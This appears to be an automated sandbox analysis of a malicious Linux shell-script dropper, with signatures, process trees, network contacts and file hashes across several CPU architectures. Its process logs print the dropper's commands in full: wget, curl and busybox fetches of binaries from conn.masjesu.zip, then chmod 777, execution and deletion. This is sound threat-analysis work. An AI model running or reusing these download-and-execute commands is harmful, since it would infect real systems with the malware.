Analysis Overview
SHA256
99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339
Threat Level: Shows suspicious behavior
The file 99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Executes dropped EXE
Checks CPU configuration
System Network Configuration Discovery
Reads runtime system information
Writes file to tmp directory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 02:43
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 02:43
Reported
2024-11-25 02:45
Platform
ubuntu1804-amd64-20240611-en
Max time kernel
148s
Max time network
129s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
[/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
Network
| Country | Destination | Domain | Proto |
| GB | 185.125.188.61:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| US | 151.101.1.91:443 | tcp | |
| US | 151.101.1.91:443 | tcp | |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| N/A | 224.0.0.251:5353 | udp | |
| GB | 195.181.164.20:443 | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 02:43
Reported
2024-11-25 02:46
Platform
debian9-armhf-20240611-en
Max time kernel
149s
Max time network
33s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
[/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 02:43
Reported
2024-11-25 02:46
Platform
debian9-mipsbe-20240611-en
Max time kernel
143s
Max time network
152s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9 | /usr/bin/curl | N/A |
Processes
/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
[/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 02:43
Reported
2024-11-25 02:45
Platform
debian9-mipsel-20240729-en
Max time kernel
147s
Max time network
151s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9 | /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9 | N/A |
| N/A | /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH | /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH | /usr/bin/curl | N/A |
| File opened for modification | /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9 | /usr/bin/curl | N/A |
Processes
/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
[/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/bin/chmod
[chmod 777 mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
[./mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/bin/rm
[rm mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH]
/bin/chmod
[chmod 777 BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH]
/tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
[./BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH]
/bin/rm
[rm BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |